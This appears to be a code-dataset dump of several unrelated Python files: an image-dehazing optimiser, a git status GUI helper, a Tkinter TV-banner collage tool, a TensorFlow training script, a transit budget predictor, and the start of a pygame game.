self._obtain_current_result()\n if self.plot_during_training:\n self._plot_current(step)\n if es.step(self.total_loss.item()):\n self.step_early = step\n break\n\n self.optimizer.step()\n\n toc = time.perf_counter()\n self.time_elaps = toc - tic\n\n def _optimization_step(self, step):\n \"\"\"\n\n :param step: the number of the iteration\n\n :return:\n \"\"\"\n # if num of itereations reached\n if step == self.num_iter - 1:\n reg_std = 0\n else:\n reg_std = 1 / 30.\n aug = 0\n image_net_input = self.image_net_inputs[aug] + (self.image_net_inputs[aug].clone().normal_() * reg_std)\n self.image_out = self.image_net(image_net_input)\n\n ambient_net_input = self.ambient_net_input + (self.ambient_net_input.clone().normal_() * reg_std)\n self.ambient_out = self.ambient_net(ambient_net_input)\n\n self.mask_out = self.mask_net(self.mask_net_inputs[aug])\n\n self.blur_out = self.blur_loss(self.mask_out)\n self.total_loss = self.mse_loss(self.mask_out * self.image_out + (1 - self.mask_out) * self.ambient_out,\n self.images_torch[aug]) + 0.005 * self.blur_out\n self.total_loss += 0.1 * self.blur_loss(self.ambient_out)\n if step < 1000:\n self.total_loss += self.mse_loss(self.ambient_out, self.ambient_val * torch.ones_like(self.ambient_out))\n self.total_loss.backward(retain_graph=True)\n\n def _obtain_current_result(self):\n image_out_np = np.clip(torch_to_np(self.image_out), 0, 1)\n mask_out_np = np.clip(torch_to_np(self.mask_out), 0, 1)\n ambient_out_np = np.clip(torch_to_np(self.ambient_out), 0, 1)\n psnr = compare_psnr(self.images[0], mask_out_np * image_out_np + (1 - mask_out_np) * ambient_out_np)\n self.current_result = DehazeResult(learned=image_out_np, t=mask_out_np, a=ambient_out_np, psnr=psnr,\n step=self.cur_step)\n if self.best_result is None or self.best_result.psnr < self.current_result.psnr:\n self.counter = 0\n self.best_result = self.current_result\n\n def _plot_current(self, step):\n \"\"\"\n\n :param step: the number of the iteration\n\n :return:\n \"\"\"\n print('Iteration %05d Loss %f Lr %f %f current_psnr: %f max_psnr %f' % (step, self.total_loss.item(),\n self.optimizer.param_groups[0]['lr'],\n self.blur_out.item(),\n self.current_result.psnr,\n self.best_result.psnr), '\\r', '')\n if step % self.show_every == self.show_every - 1:\n plot_image_grid(\"t_and_amb\",\n [self.best_result.a * np.ones_like(self.best_result.learned), self.best_result.t])\n plot_image_grid(\"current_image\", [self.images[0], np.clip(self.best_result.learned, 0, 1)])\n\n def finalize(self):\n self.final_image = np_imresize(self.best_result.learned, output_shape=self.original_image.shape[1:])\n self.final_t_map = np_imresize(self.best_result.t, output_shape=self.original_image.shape[1:])\n self.final_a = np_imresize(self.best_result.a, output_shape=self.original_image.shape[1:])\n mask_out_np = self.t_matting(self.final_t_map)\n post = np.clip((self.original_image - ((1 - mask_out_np) * self.final_a)) / mask_out_np, 0, 1)\n save_image(self.image_name + \"_original\", np.clip(self.original_image, 0, 1))\n save_image(self.image_name + \"_learned\", self.final_image)\n save_image(self.image_name + \"_t\", mask_out_np)\n save_image(self.image_name + \"_final\", post)\n save_image(self.image_name + \"_a\", np.clip(self.final_a, 0, 1))\n if self.scorefile:\n with open(self.scorefile, 'a') as file:\n file.write(self.image_name + \",\" + str(self.best_result.psnr) + \",\" + str(self.time_elaps) + \",\"\n + str(self.best_result.step) + \",\" + str(self.step_early) + \"\\n\")\n\n def t_matting(self, mask_out_np):\n refine_t = guidedFilter(self.original_image.transpose(1, 2, 0).astype(np.float32),\n mask_out_np[0].astype(np.float32), 50, 1e-4)\n return np.array([np.clip(refine_t, 0.1, 1)])\n\n\nif __name__ == \"__main__\":\n scorepath = \"output/scores/\"\n if not os.path.exists(scorepath):\n os.makedirs(scorepath)\n scorefilename = \"scores_\" + str(datetime.datetime.now()) + \".csv\"\n scorefile = scorepath + scorefilename\n\n if os.path.isfile(sys.argv[1]):\n image = prepare_image(sys.argv[1])\n dehaze(os.path.basename(sys.argv[1]), image)\n\n if os.path.isdir(sys.argv[1]):\n for file in os.listdir(os.fsencode(sys.argv[1])):\n filename = os.fsdecode(file)\n image = prepare_image(sys.argv[1] + filename)\n dehaze(os.path.basename(filename), image, num_iter=4000,\n plot_during_training=True, scorefile=scorefile)\n\n","sub_path":"my-dehaze-adaptive-lr.py","file_name":"my-dehaze-adaptive-lr.py","file_ext":"py","file_size_in_byte":14742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"160278351","text":"### Copyright (C) 2015 Peter Williams \n###\n### This program is free software; you can redistribute it and/or modify\n### it under the terms of the GNU General Public License as published by\n### the Free Software Foundation; version 2 of the License only.\n###\n### This program is distributed in the hope that it will be useful,\n### but WITHOUT ANY WARRANTY; without even the implied warranty of\n### MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n### GNU General Public License for more details.\n###\n### You should have received a copy of the GNU General Public License\n### along with this program; if not, write to the Free Software\n### Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\nimport os\nimport re\nimport hashlib\nimport collections\n\nfrom gi.repository import Pango\n\nfrom aipoed import runext\n\nfrom aipoed.gui import fsdb\n\nfrom . import utils\n\nclass FileStatus:\n UNMODIFIED = ' '\n WD_ONLY_MODIFIED = ' M'\n WD_ONLY_DELETED = ' D'\n MODIFIED = 'M '\n MODIFIED_MODIFIED = 'MM'\n MODIFIED_DELETED = 'MD'\n ADDED = 'A '\n ADDED_MODIFIED = 'AM'\n ADDED_DELETED = 'AD'\n DELETED = 'D '\n DELETED_MODIFIED = 'DM'\n RENAMED = 'R '\n RENAMED_MODIFIED = 'RM'\n RENAMED_DELETED = 'RD'\n COPIED = 'C '\n COPIED_MODIFIED = 'CM'\n COPIED_DELETED = 'CD'\n UNMERGED = 'UU'\n UNMERGED_ADDED = 'AA'\n UNMERGED_ADDED_US = 'AU'\n UNMERGED_ADDED_THEM = 'UA'\n UNMERGED_DELETED = 'DD'\n UNMERGED_DELETED_US = 'DU'\n UNMERGED_DELETED_THEM = 'DA'\n NOT_TRACKED = '??'\n IGNORED = '!!'\n MODIFIED_LIST = [\n # TODO: review order of modified set re directory decoration\n # order is preference order for directory decoration based on contents' states\n WD_ONLY_MODIFIED, WD_ONLY_DELETED,\n MODIFIED_MODIFIED, MODIFIED_DELETED,\n ADDED_MODIFIED, ADDED_DELETED,\n DELETED_MODIFIED,\n RENAMED_MODIFIED, RENAMED_DELETED,\n COPIED_MODIFIED, COPIED_DELETED,\n UNMERGED,\n UNMERGED_ADDED, UNMERGED_ADDED_US, UNMERGED_ADDED_THEM,\n UNMERGED_DELETED, UNMERGED_DELETED_US, UNMERGED_DELETED_THEM,\n MODIFIED, ADDED, DELETED, RENAMED, COPIED,\n ]\n MODIFIED_SET = frozenset(MODIFIED_LIST)\n CLEAN_SET = set([UNMODIFIED, MODIFIED, ADDED, DELETED, RENAMED, COPIED, IGNORED, None])\n SIGNIFICANT_SET = frozenset(MODIFIED_LIST + [NOT_TRACKED])\n\n_WD_DECO_MAP = {\n None: fsdb.Deco(Pango.Style.NORMAL, \"black\"),\n FileStatus.UNMODIFIED: fsdb.Deco(Pango.Style.NORMAL, \"black\"),\n FileStatus.WD_ONLY_MODIFIED: fsdb.Deco(Pango.Style.NORMAL, \"blue\"),\n FileStatus.WD_ONLY_DELETED: fsdb.Deco(Pango.Style.NORMAL, \"red\"),\n FileStatus.MODIFIED: fsdb.Deco(Pango.Style.NORMAL, \"blue\"),\n FileStatus.MODIFIED_MODIFIED: fsdb.Deco(Pango.Style.NORMAL, \"blue\"),\n FileStatus.MODIFIED_DELETED: fsdb.Deco(Pango.Style.NORMAL, \"red\"),\n FileStatus.ADDED: fsdb.Deco(Pango.Style.NORMAL, \"darkgreen\"),\n FileStatus.ADDED_MODIFIED: fsdb.Deco(Pango.Style.NORMAL, \"blue\"),\n FileStatus.ADDED_DELETED: fsdb.Deco(Pango.Style.NORMAL, \"red\"),\n FileStatus.DELETED: fsdb.Deco(Pango.Style.NORMAL, \"red\"),\n FileStatus.DELETED_MODIFIED: fsdb.Deco(Pango.Style.NORMAL, \"blue\"),\n FileStatus.RENAMED: fsdb.Deco(Pango.Style.ITALIC, \"pink\"),\n FileStatus.RENAMED_MODIFIED: fsdb.Deco(Pango.Style.ITALIC, \"blue\"),\n FileStatus.RENAMED_DELETED: fsdb.Deco(Pango.Style.ITALIC, \"red\"),\n FileStatus.COPIED: fsdb.Deco(Pango.Style.ITALIC, \"green\"),\n FileStatus.COPIED_MODIFIED: fsdb.Deco(Pango.Style.ITALIC, \"blue\"),\n FileStatus.COPIED_DELETED: fsdb.Deco(Pango.Style.ITALIC, \"red\"),\n FileStatus.UNMERGED: fsdb.Deco(Pango.Style.NORMAL, \"magenta\"),\n FileStatus.UNMERGED_ADDED: fsdb.Deco(Pango.Style.NORMAL, \"magenta\"),\n FileStatus.UNMERGED_ADDED_US: fsdb.Deco(Pango.Style.NORMAL, \"magenta\"),\n FileStatus.UNMERGED_ADDED_THEM: fsdb.Deco(Pango.Style.NORMAL, \"magenta\"),\n FileStatus.UNMERGED_DELETED: fsdb.Deco(Pango.Style.NORMAL, \"magenta\"),\n FileStatus.UNMERGED_DELETED_US: fsdb.Deco(Pango.Style.NORMAL, \"magenta\"),\n FileStatus.UNMERGED_DELETED_THEM: fsdb.Deco(Pango.Style.NORMAL, \"magenta\"),\n FileStatus.NOT_TRACKED: fsdb.Deco(Pango.Style.ITALIC, \"cyan\"),\n FileStatus.IGNORED: fsdb.Deco(Pango.Style.ITALIC, \"grey\"),\n }\n\n# TODO: think about different deco map for the index\n\n_FILE_DATA_RE = re.compile(r'((\"([^\"]+)\")|(\\S+))( -> ((\"([^\"]+)\")|(\\S+)))?')\n\nclass GitFileData(fsdb.FileData):\n STATUS_DECO_MAP = _WD_DECO_MAP\n\nclass GitDirData(fsdb.DirData):\n STATUS_DECO_MAP = _WD_DECO_MAP\n\ndef get_git_file_data(string):\n match = _FILE_DATA_RE.match(string[3:])\n path = match.group(3) if match.group(3) else match.group(4)\n if match.group(5):\n extra_data = fsdb.RFD(extradatamatch.group(8) if match.group(8) else match.group(9), '->')\n else:\n extra_data = None\n return GitFileData(path, string[:2], extra_data)\n\ndef iter_git_file_data_text(text, related_file_path_data):\n for line in text.splitlines():\n file_path, status, extra_data = get_git_file_data(line)\n if extra_data:\n related_file_path_data.append((file_path, extra_data.path))\n yield (file_path, line[:2], extra_data)\n\nclass WsFileDb(fsdb.GenericSnapshotWsFileDb):\n class FileDir(fsdb.GenericSnapshotWsFileDb.FileDir):\n DIR_DATA = GitDirData\n FILE_DATA = GitFileData\n IGNORED_STATUS_SET = set([FileStatus.IGNORED])\n CLEAN_STATUS_SET = FileStatus.CLEAN_SET\n SIGNIFICANT_DATA_SET = FileStatus.SIGNIFICANT_SET\n ORDERED_DIR_STATUS_LIST = FileStatus.MODIFIED_LIST + [FileStatus.NOT_TRACKED]\n ORDERED_DIR_CLEAN_STATUS_LIST = [x for x in FileStatus.MODIFIED_LIST if x not in FileStatus.CLEAN_SET] + [FileStatus.NOT_TRACKED]\n def _get_initial_status(self):\n if not self._file_status_snapshot.status_set:\n return None\n for status in self.ORDERED_DIR_STATUS_LIST:\n if status in self._file_status_snapshot.status_set:\n return status\n return None\n def _get_initial_clean_status(self):\n if not self._file_status_snapshot.status_set:\n return None\n for status in self.ORDERED_DIR_CLEAN_STATUS_LIST:\n if status in self._file_status_snapshot.status_set:\n return status\n return None\n def _get_file_data_text(self, h):\n file_data_text = runext.run_get_cmd([\"git\", \"status\", \"--porcelain\", \"--ignored\", \"--untracked=all\"])\n h.update(file_data_text.encode())\n return file_data_text\n @staticmethod\n def _extract_file_status_snapshot(file_data_text):\n related_file_path_data = []\n fsd = {file_path: (status, related_file_data) for file_path, status, related_file_data in iter_git_file_data_text(file_data_text, related_file_path_data)}\n for file_path, related_file_path in related_file_path_data:\n data = fsd.get(related_file_path, None)\n if data is not None:\n # don't overwrite git's opinion on related file data if it had one\n if data[1] is not None: continue\n status = data[0]\n else:\n stdout = runext.run_get_cmd([\"git\", \"status\", \"--porcelain\", \"--\", related_file_path], default=\"\")\n status = stdout[:2] if stdout else None\n fsd[related_file_path] = (status, fsdb.RFD(path=file_path, relation=\"<-\"))\n return fsdb.Snapshot(fsd)\n\nclass IndexFileDb(fsdb.GenericChangeFileDb):\n class FileDir(fsdb.GenericChangeFileDb.FileDir):\n DIR_DATA = GitDirData\n FILE_DATA = GitFileData\n CLEAN_STATUS_SET = FileStatus.CLEAN_SET\n def _calculate_status(self):\n for status in FileStatus.MODIFIED_LIST + [FileStatus.NOT_TRACKED]:\n if status in self._status_set:\n return status\n return FileStatus.UNMODIFIED\n def _calculate_clean_status(self):\n for status in FileStatus.MODIFIED_LIST + [FileStatus.NOT_TRACKED]:\n if status in self._status_set:\n return status\n return FileStatus.UNMODIFIED\n def __init__(self):\n fsdb.GenericChangeFileDb.__init__(self)\n def _get_patch_data_text(self, h):\n patch_status_text = runext.run_get_cmd([\"git\", \"status\", \"--porcelain\", \"--untracked-files=no\"], default=\"\")\n h.update(patch_status_text.encode())\n return (patch_status_text)\n @staticmethod\n def _iterate_file_data(pdt):\n for line in pdt.splitlines():\n if line[0] == \" \": continue # not in the index\n file_path, status, extra_data = get_git_file_data(line)\n yield (file_path, line[:2], extra_data)\n","sub_path":"gwsmgit_pkg/fsdb_git.py","file_name":"fsdb_git.py","file_ext":"py","file_size_in_byte":8963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"89884231","text":"import tkinter as tk\nimport threading\nfrom time import sleep\nfrom PIL import Image, ImageTk\nimport queue\nfrom config import *\nimport tvdbApi\nimport io\nimport math\n\nSAVE_LOCATION = \"colajBanner.png\"\n\nclass popupWindow(object):\n def __init__(self,master):\n top=self.top=tk.Toplevel(master)\n self.value=1\n self.l=tk.Label(top,text=\"Enter column number\")\n self.l.pack()\n self.ent=tk.Entry(top)\n self.ent.pack()\n self.but=tk.Button(top,text='Enter',command=self.cleanup)\n self.but.pack()\n self.top.grab_set()\n def cleanup(self):\n \tif self.ent.get().isdigit():\n\t self.value=int(self.ent.get())\n\t self.top.destroy()\n\nclass GUI:\n\t# Init\n\tdef __init__(self, root, lista):\n\t\tself.lista = lista\n\t\t# Remember, remember\n\t\tself.remember = []\n\t\t# Windows\n\t\tself.root = root\n\t\tself.root.title(\"Postere\")\n\t\tself.root.protocol(\"WM_DELETE_WINDOW\", self.windowClosed)\n\t\tself.root.geometry(\"400x150\")\n\t\tself.root.resizable(0, 0)\n\t\t# Frame\n\t\tself.frame = tk.Frame(self.root)\n\t\tself.frame.pack()\n\t\tself.newFrame = tk.Frame()\n\t\t# Buttons\n\t\tself.addB = tk.Button(self.newFrame, text=\"Add\", command=self.addImage)\n\t\tself.createText = tk.StringVar()\n\t\tself.createI = tk.Button(self.newFrame, textvariable=self.createText, command=self.buildImage)\n\t\tself.createText.set(\"Create\")\n\t\tself.prev = tk.Button(self.frame, text=\"<\", command=self.prev)\n\t\tself.next = tk.Button(self.frame, text=\">\", command=self.next)\n\t\tself.deleteB = tk.Button(self.newFrame, text=\"Edit\", command=self.edit)\n\n\t\tself.createI.pack(side=tk.LEFT, anchor=tk.W)\n\t\tself.deleteB.pack(side=tk.LEFT, anchor=tk.W)\n\t\t# Edit frame\n\t\tself.editFrame = tk.Frame(self.root)\n\t\tself.removeButton = tk.Button(self.editFrame, text=\"Remove\", command=self.remove)\n\t\tself.removeButton.pack(side=tk.LEFT, anchor = tk.W)\n\t\tself.doneButton = tk.Button(self.editFrame, text=\"Done\", command=self.exitEdit)\n\t\tself.doneButton.pack(side = tk.LEFT, anchor = tk.E)\n\t\t# Input\n\t\tself.e = tk.Entry(self.frame)\n\t\tself.e.pack(side=tk.TOP, anchor=tk.N)\n\t\tself.searchText = tk.StringVar()\n\t\tself.searchB = tk.Button(self.frame, textvariable=self.searchText, command=self.search)\n\t\tself.searchText.set(\"Search\")\n\t\tself.searchB.pack(side=tk.TOP, anchor=tk.N)\n\t\tself.firstShearch = True\n\t\tself.root.bind('', self.search)\n\t\t# Index\n\t\tself.index = 0\n\tdef exitEdit(self):\n\t\tself.index = 0\n\t\tself.editFrame.pack_forget()\n\t\tself.images = self.remember\n\t\tself.remember = []\n\t\tself.newFrame.pack()\n\t\tself.updateImage()\n\tdef remove(self):\n\t\tglobal finalImage\n\t\tdel finalImage[self.index]\n\t\tself.images = finalImage\n\t\tif finalImage:\n\t\t\tself.index = self.getIndex(self.images)\n\t\t\tself.updateImage()\n\t\telse:\n\t\t\tself.exitEdit()\n\tdef edit(self):\n\t\tglobal finalImage\n\t\tif finalImage:\n\t\t\tself.remember = self.images\n\t\t\tself.images = finalImage\n\t\t\tself.index = 0\n\t\t\tself.newFrame.pack_forget()\n\t\t\tself.updateImage()\n\t\t\tself.editFrame.pack()\n\tdef buildImage(self):\n\n\t\tself.createText.set(\"Creating..\")\n\t\tglobal build\n\t\tbuild = True\n\tdef windowClosed(self):\n\t\tglobal live\n\t\tlive = False\n\t\tself.root.destroy()\n\t\treturn True\n\tdef run(self):\n\t\tself.e.focus()\n\t\tself.root.mainloop()\n\tdef search(self, event=False):\n\t\tself.createText.set(\"Create\")\n\t\tself.lista.put(self.e.get())\n\tdef addImage(self):\n\t\tself.createText.set(\"Create\")\n\t\tglobal finalImage\n\t\tfinalImage.append(self.images[self.index])\n\t\tprint(\"Added\")\n\tdef updateImage(self):\n\t\timg = ImageTk.PhotoImage(Image.open(io.BytesIO(self.images[self.getIndex(self.images)][0])))\n\t\tself.panel.configure(image=img)\n\t\tself.panel.image = img\n\tdef prev(self):\n\t\tself.index = self.index - 1\n\t\tself.updateImage()\n\tdef next(self):\n\t\tself.index = self.index + 1\n\t\tself.updateImage()\n\tdef getIndex(self, list):\n\t\tif self.index >= len(list):\n\t\t\tself.index = 0\n\t\tif self.index < 0:\n\t\t\tself.index = len(list) - 1\n\t\treturn self.index\n\tdef show(self, images):\n\t\tself.images = images\n\t\tif self.firstShearch:\n\t\t\timg = ImageTk.PhotoImage(Image.open(io.BytesIO(self.images[self.getIndex(self.images)][0])))\n\t\t\tself.panel = tk.Label(self.frame, image = img)\n\t\t\tself.addB.pack(side=tk.LEFT, anchor=tk.E)\n\t\t\tself.prev.pack(side=tk.LEFT)\n\t\t\tself.next.pack(side=tk.RIGHT)\n\t\t\tself.panel.pack(side=tk.BOTTOM)\n\t\t\tself.firstShearch = False\n\t\t\tself.newFrame.pack()\n\t\telse:\n\t\t\tself.index = 0\n\t\t\tself.updateImage()\n\nroot = tk.Tk()\nprint(\"making\")\n# Images to be joined\nfinalImage = []\n# Search list\nlista = queue.Queue()\n# API\napi = tvdbApi.tvdbApi(tvdb_key)\n# Windows is open\nlive = True\n# Ready to create image\nbuild = False\n\nclass Downloader(threading.Thread):\n\tdef __init__(self, link, image, QUEUE):\n\t\tsuper(Downloader, self).__init__()\n\t\tself.link = link\n\t\tself.image = image\n\t\tself.QUEUE = QUEUE\n\n\tdef run(self):\n\t\tself.QUEUE.put([api.getImage(self.link), self.image])\n\n\ndef colaj(banners, coloane = 1):\n\tcollage = Image.new('RGB', (758*coloane, 140*math.ceil(len(banners)/coloane)))\n\ti = 0\n\tj = 0\n\tfor ban in banners:\n\t\tnextBanner = Image.open(io.BytesIO(ban))\n\t\tcollage.paste(nextBanner, (758*i, 140*j))\n\t\ti = i + 1\n\t\tif i >= coloane:\n\t\t\ti = 0\n\t\t\tj = j + 1\n\treturn collage\n\ndef buildImage():\n\tglobal finalImage\n\tif finalImage:\n\t\tgui.popup=popupWindow(gui.root)\n\t\t# gui.createI[\"state\"] = \"disabled\" \n\t\tgui.root.wait_window(gui.popup.top)\n\t\t# gui.createI[\"state\"] = \"normal\"\n\t\tcoloane = gui.popup.value\n\t\tdel gui.popup\n\t\tfinalIm = []\n\n\t\tposters = []\n\t\tfor im in finalImage:\n\t\t\tfinalIm.append(im[1])\n\t\t\t\n\n\t\tind = 0\n\t\tLISTA = queue.Queue()\n\t\tdownloads = []\n\t\tfor link in finalIm:\n\t\t\tposters.append(\"\")\n\t\t\tdownloads.append(FullDownloader(link, ind, LISTA))\n\t\t\t# images.append([api.getImage(link), links['images'][ind]])\n\t\t\tind = ind + 1\n\t\tfor download in downloads:\n\t\t\tdownload.start()\n\t\tfor download in downloads:\n\t\t\tdownload.join()\n\t\timages = list(LISTA.queue)\n\t\tfor poster in images:\n\t\t\tposters[poster[1]]=poster[0]\n\t\tdel LISTA\n\n\t\t# for img in finalIm:\n\t\t# \tposters.append(api.getImage(img))\n\n\t\tcollage = colaj(posters, coloane)\n\t\tcollage.save(SAVE_LOCATION)\n\t\tprint(\"Image created\")\n\t\tgui.createText.set(\"Image created\")\n\t\tfinalImage = []\n\telse:\n\t\tgui.createText.set(\"No images added\")\n\nclass FullDownloader(threading.Thread):\n\tdef __init__(self, link, index, QUEUE):\n\t\tsuper(FullDownloader, self).__init__()\n\t\tself.link = link\n\t\tself.index = index\n\t\tself.QUEUE = QUEUE\n\tdef run(self):\n\t\tself.QUEUE.put([api.getImage(self.link), self.index])\n\ndef main():\n\tglobal build\n\twhile live:\n\t\tif build:\n\t\t\tbuild=False\n\t\t\tbuildImage()\n\t\tif not lista.empty():\n\t\t\tgui.searchText.set(\"Searching..\")\n\t\t\ttodo = lista.get()\n\t\t\timages = []\n\t\t\tif todo.isdigit():\n\t\t\t\tID = todo\n\t\t\telse:\n\t\t\t\tID = api.searchID(str(todo))\n\t\t\tif ID:\n\t\t\t\tlinks = api.getBannersThumbnails(ID)\n\t\t\t\tif links:\n\t\t\t\t\tind = 0\n\t\t\t\t\tLISTA = queue.Queue()\n\t\t\t\t\tdownloads = []\n\t\t\t\t\tfor link in links['thumbnails']:\n\t\t\t\t\t\tdownloads.append(Downloader(link, links['images'][ind], LISTA))\n\t\t\t\t\t\t# images.append([api.getImage(link), links['images'][ind]])\n\t\t\t\t\t\tind = ind + 1\n\t\t\t\t\tfor download in downloads:\n\t\t\t\t\t\tdownload.start()\n\t\t\t\t\tfor download in downloads:\n\t\t\t\t\t\tdownload.join()\n\t\t\t\t\timages = list(LISTA.queue)\n\t\t\t\t\tdel LISTA\n\t\t\t\t\tgui.show(images)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Not Found\")\n\t\t\tgui.searchText.set(\"Search\")\n\t\t\tprint(\"Done\")\n\t\t\tlista.task_done()\n\nth = threading.Thread(target=main)\nth.start()\ngui = GUI(root, lista)\nprint(\"running\")\ngui.run()","sub_path":"guiBanners.py","file_name":"guiBanners.py","file_ext":"py","file_size_in_byte":7305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"439436540","text":"\"\"\"Code for running training.\"\"\"\nimport datetime\nimport os\nimport tensorflow as tf\nfrom tensorflow.python.keras import callbacks\n\nfrom cube_database import CubeDatabase\nfrom models import SimpleCubeCnn\n\n\ndef train():\n \"\"\"Runs the training.\"\"\"\n # Basic training settings.\n model = SimpleCubeCnn()\n database = CubeDatabase('data/positive', 'data/negative')\n epochs_to_run = 1000\n trial_name = 'l2reg1e-3'\n logs_directory = 'logs'\n\n # Prepare training data and metrics.\n training_dataset = database.training_dataset\n validation_dataset = database.validation_dataset\n optimizer = tf.optimizers.Adam()\n loss_metric = tf.keras.losses.BinaryCrossentropy(name='Loss')\n accuracy_metric = tf.metrics.BinaryAccuracy(name='Accuracy')\n precision_metric = tf.metrics.Precision(name='Precision')\n recall_metric = tf.metrics.Recall(name='Recall')\n\n # Setup logging.\n datetime_string = datetime.datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\")\n trial_directory = os.path.join(logs_directory, f'{trial_name} {datetime_string}')\n tensorboard_callback = callbacks.TensorBoard(log_dir=trial_directory)\n\n # Compile and train model.\n model.compile(optimizer=optimizer, loss=loss_metric, metrics=[accuracy_metric, precision_metric, recall_metric])\n model.fit(training_dataset, epochs=epochs_to_run, validation_data=validation_dataset,\n callbacks=[tensorboard_callback])\n\n\nif __name__ == '__main__':\n train()\n\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"461987646","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 21 09:39:19 2017\n\n@author: Alex Kerzner, Michael vonderLippe, John deMay\n\"\"\"\n\n# Import library for parsing a configuration file\nfrom ConfigParser import SafeConfigParser\n\n\n# Import config parser\nfrom lib import Config\n\n# Import library for simplifying OS file paths\nimport os\n\n# Import the City class to store groups of models as cities\nfrom City import City\nfrom PyQt5.QtCore import qDebug,qInf,qWarning,qCritical,qFatal\n\"\"\"\nThis is the Main Application class used by the UI.\n\nFunctions in this class may be called via the UI.\n\n\"\"\"\nclass Main_Application(object):\n\t\n\t\"\"\"\n\tConstructor for Main Application\n\t\"\"\"\n\tdef __init__(self):\n\t\t\n\t\t# Initialize list of cities\n\t\tself.cities = []\n\t\t# Parse city configuration file to get list of initial cities\n\t\tself._city_config_ = SafeConfigParser()\n\t\tself._city_config_.read(os.path.relpath('etc/cities.cfg'))\n\t\t\n\t\tprint(\"Reading cities.cfg\")\n\t\tfor section in self._city_config_.sections():\n\t\t\t# Add each city, where section is the name of the city\n\t\t\tprint(\"Loading city: \" + section)\n\t\t\tprint(\" - metro: \" + self._city_config_.get(section, \"metro\"))\n\t\t\tprint(\" - bus: \" + self._city_config_.get(section, \"bus\"))\n\t\t\tprint(\" - metro_coverage: \" + self._city_config_.get(section, \"metromap\"))\n\t\t\tprint(\" - bus_coverage: \" + self._city_config_.get(section, \"busmap\"))\n\t\t\tself.addCity(section, self._city_config_.get(section, \"metro\"),\\\n\t\t\t\tself._city_config_.get(section, \"bus\"),\\\n\t\t\t\tself._city_config_.get(section, \"metromap\"),\\\n\t\t\t\tself._city_config_.get(section, \"busmap\"))\n\t\tself.X_test = self.get_testing_set()\n\t\tself.predictions = self.test_trained_algorithm()\n\t\tself.efficient_predictions = self.get_efficient_points()\n\n\t\n\t\"\"\"\n\tAdd a city given its name, metro data, and bus data.\n\t\"\"\"\n\tdef addCity(self, city_name, path_to_metro_data,\\\n\t path_to_bus_data, path_to_metro_map, path_to_bus_map):\n\t\t# Append city to list of cities\n\t\tself.cities.append(City(city_name,\\\n\t\t\tos.path.normpath(path_to_metro_data),\\\n\t\t\tos.path.normpath(path_to_bus_data),\\\n\t\t\tos.path.normpath(path_to_metro_map),\\\n\t\t\tos.path.normpath(path_to_bus_map)))\n\t\n\t\"\"\"\n\tGet id for given city name\n\t@param city_name the name of the city for which to return the city_id\n\t\"\"\"\n\tdef getCityID(self, city_name):\n\t\t# Loop through all cities, looking for the city with the specified name.\n\t\tfor city_id in range(len(self.cities)):\n\t\t\tif (self.cities[city_id].name == city_name):\n\t\t\t\t# Return id, as city name was found\n\t\t\t\treturn city_id\n\t\t# The city was not found\n\t\treturn None\n\n\t# Combines the training set of each city into one massive testing set\n\tdef get_testing_set(self):\n\t\tX = []\n\t\t# Use first city for data\n\t\tfor entry in self.cities[0].training_set:\n\t\t\tX.append(entry)\n\t\treturn X\n\t\n\t\"\"\"\n\tThe method that returns recommended metro and bus budget allocations\n\tand predicted ridership for a given budget. The point of the application.\n\t\"\"\"\n\tdef getTheGoods(self,budget):\n\t\tgoods=[]\n\t\tsets = self.efficient_predictions\n\t\ti=0\n\t\t# Use first city for data\n\t\tgoods.append(self.cities[0].getGoods(budget,sets[i]))\n\t\ti+=1\n\t\tx=0\n\t\ty=0\n\t\tz=0\n\t\tfor g in goods:\n\t\t\tx+=g[0]\n\t\t\ty+=g[1]\n\t\t\tz+=g[2]\n\t\ti=1.0\n\t\tx/=i\n\t\ty/=i\n\t\tz/=i\n\t\treturn (x,y,z)\n\t\n\t#Acquires the trained algorithm of each city\n\t#Spits out predictions of the testing set using each city's trained algorithm\n\tdef test_trained_algorithm(self):\n\t\ttrained_algorithm_set = []\n\t\tprediction_set = []\n\t\t# Use first city for data\n\t\ttrained_algorithm_set.append(self.cities[0].run_voting_classifier())\n\t\tfor trained in trained_algorithm_set:\n\t\t\tprediction_set.append(trained.predict(self.X_test))\n\t\treturn prediction_set\n\n\t# Takes in classification input from run_voting_classifier and reshapes it to a list containing tiples of (ridership, metro_budget, bus_budget)\n\tdef get_efficient_points(self):\n\t\tefficient_points = []\n\t\tfor set in self.predictions:\n\t\t\tcurrent_points = []\n\t\t\tfor i in range(len(self.X_test)):\n\t\t\t\tif set[i] > 0:\n\t\t\t\t\tcurrent_points.append(self.X_test[i])\n\t\t\tefficient_points.append(current_points)\n\t\treturn efficient_points\n\n\n","sub_path":"bin/Main_Application.py","file_name":"Main_Application.py","file_ext":"py","file_size_in_byte":4047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"129190220","text":"from sys import exit as endGame\nfrom random import randint as randNum\nfrom pygame.locals import *\nimport pygame\npygame.init()\n\nglobal white, grey, red, yellow, green, blue\nglobal randDoor, randBlock\n\n#Non-Color Variables\ndisplayWidth = 1000\ndisplayHeight = 1000\nxBox = 0\nyBox = 0\nscene = 'startPage'\ngameOver = False\nimageType = None\nfirstTime = True\nrandDoor = randNum(1,8)\nrandBlock = randNum(1,10)\ngameBoard = []\nentrancePos = []\nposPath = []\n\n#Images\nstartScreen = pygame.transform.scale(pygame.image.load('gameArt/startScreen.png'),(1000,1000))\n\nplayerImg = pygame.transform.scale(pygame.image.load('gameArt/pixelChar.png'), (75, 75))\npath = pygame.transform.scale(pygame.image.load('gameArt/path.png'), (100,100))\ncrackedPath = pygame.transform.scale(pygame.image.load('gameArt/cracked.path.png'), (100,100))\nflowerPath = 